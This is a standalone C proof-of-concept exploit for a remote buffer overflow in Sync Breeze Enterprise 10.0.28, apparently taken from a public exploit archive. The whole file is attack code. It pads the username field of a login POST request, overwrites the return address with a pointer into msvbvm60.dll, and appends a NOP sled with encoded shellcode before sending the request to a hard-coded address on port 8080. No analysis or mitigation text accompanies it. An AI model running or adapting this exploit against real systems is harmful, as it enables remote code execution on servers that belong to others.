Sync Breeze Enterprise 10.0.28 – Remote Buffer Overflow (PoC)
/* Sync Breeze Enterprise BOF - Ivan Ivanovic Ivanov Иван-дурак недействительный 31337 Team */ #define _WINSOCK_DEPRECATED_NO_WARNINGS #define DEFAULT_BUFLEN 512 #include <inttypes.h> #include <stdio.h> #include <winsock2.h> #include <windows.h> DWORD SendRequest(char *request, int request_size) { WSADATA wsa; SOCKET s; struct sockaddr_in server; char recvbuf[DEFAULT_BUFLEN]; int recvbuflen = DEFAULT_BUFLEN; int iResult; printf("\n[>] Initialising Winsock...\n"); if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { printf("[!] Failed. Error Code : %d", WSAGetLastError()); return 1; } printf("[>] Initialised.\n"); if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) { printf("[!] Could not create socket : %d", WSAGetLastError()); } printf("[>] Socket created.\n"); server.sin_addr.s_addr = inet_addr("172.16.116.222"); server.sin_family = AF_INET; server.sin_port = htons(8080); if (connect(s, (struct sockaddr *)&server, sizeof(server)) < 0) { puts("[!] Connect error"); return 1; } puts("[>] Connected"); if (send(s, request, request_size, 0) < 0) { puts("[!] Send failed"); return 1; } puts("\n[>] Request sent\n"); closesocket(s); return 0; } void EvilRequest() { char request_one[] = "POST /login HTTP/1.1\r\n" "Host: 172.16.116.222\r\n" "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" "Accept-Language: en-US,en;q=0.5\r\n" "Referer: http://172.16.116.222/login\r\n" "Connection: close\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: "; char request_two[] = "\r\n\r\nusername="; int initial_buffer_size = 780; char *padding = malloc(initial_buffer_size); memset(padding, 0x41, initial_buffer_size); memset(padding + initial_buffer_size - 1, 0x00, 1); unsigned char retn[] = "\xcb\x75\x52\x73"; //ret at msvbvm60.dll unsigned char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // NOP SLIDE "\xdb\xda\xbd\x92\xbc\xaf\xa7\xd9\x74\x24\xf4\x58\x31\xc9\xb1" "\x52\x31\x68\x17\x83\xc0\x04\x03\xfa\xaf\x4d\x52\x06\x27\x13" "\x9d\xf6\xb8\x74\x17\x13\x89\xb4\x43\x50\xba\x04\x07\x34\x37" "\xee\x45\xac\xcc\x82\x41\xc3\x65\x28\xb4\xea\x76\x01\x84\x6d" "\xf5\x58\xd9\x4d\xc4\x92\x2c\x8c\x01\xce\xdd\xdc\xda\x84\x70" "\xf0\x6f\xd0\x48\x7b\x23\xf4\xc8\x98\xf4\xf7\xf9\x0f\x8e\xa1" "\xd9\xae\x43\xda\x53\xa8\x80\xe7\x2a\x43\x72\x93\xac\x85\x4a" "\x5c\x02\xe8\x62\xaf\x5a\x2d\x44\x50\x29\x47\xb6\xed\x2a\x9c" "\xc4\x29\xbe\x06\x6e\xb9\x18\xe2\x8e\x6e\xfe\x61\x9c\xdb\x74" "\x2d\x81\xda\x59\x46\xbd\x57\x5c\x88\x37\x23\x7b\x0c\x13\xf7" "\xe2\x15\xf9\x56\x1a\x45\xa2\x07\xbe\x0e\x4f\x53\xb3\x4d\x18" "\x90\xfe\x6d\xd8\xbe\x89\x1e\xea\x61\x22\x88\x46\xe9\xec\x4f" "\xa8\xc0\x49\xdf\x57\xeb\xa9\xf6\x93\xbf\xf9\x60\x35\xc0\x91" "\x70\xba\x15\x35\x20\x14\xc6\xf6\x90\xd4\xb6\x9e\xfa\xda\xe9" "\xbf\x05\x31\x82\x2a\xfc\xd2\x01\xba\x8a\xef\x32\xb9\x72\xe1" "\x9e\x34\x94\x6b\x0f\x11\x0f\x04\xb6\x38\xdb\xb5\x37\x97\xa6" "\xf6\xbc\x14\x57\xb8\x34\x50\x4b\x2d\xb5\x2f\x31\xf8\xca\x85" "\x5d\x66\x58\x42\x9d\xe1\x41\xdd\xca\xa6\xb4\x14\x9e\x5a\xee" "\x8e\xbc\xa6\x76\xe8\x04\x7d\x4b\xf7\x85\xf0\xf7\xd3\x95\xcc" "\xf8\x5f\xc1\x80\xae\x09\xbf\x66\x19\xf8\x69\x31\xf6\x52\xfd" "\xc4\x34\x65\x7b\xc9\x10\x13\x63\x78\xcd\x62\x9c\xb5\x99\x62" "\xe5\xab\x39\x8c\x3c\x68\x59\x6f\x94\x85\xf2\x36\x7d\x24\x9f" "\xc8\xa8\x6b\xa6\x4a\x58\x14\x5d\x52\x29\x11\x19\xd4\xc2\x6b" "\x32\xb1\xe4\xd8\x33\x90"; char request_three[] = "&password=A"; int content_length = 9 + strlen(padding) + strlen(retn) + strlen(shellcode) + strlen(request_three); char *content_length_string = malloc(15); sprintf(content_length_string, "%d", content_length); int buffer_length = strlen(request_one) + strlen(content_length_string) + initial_buffer_size + strlen(retn) + strlen(request_two) + strlen(shellcode) + strlen(request_three); char *buffer = malloc(buffer_length); memset(buffer, 0x00, buffer_length); strcpy(buffer, request_one); strcat(buffer, content_length_string); strcat(buffer, request_two); strcat(buffer, padding); strcat(buffer, retn); strcat(buffer, shellcode); strcat(buffer, request_three); SendRequest(buffer, strlen(buffer)); } int main() { EvilRequest(); return 0; } |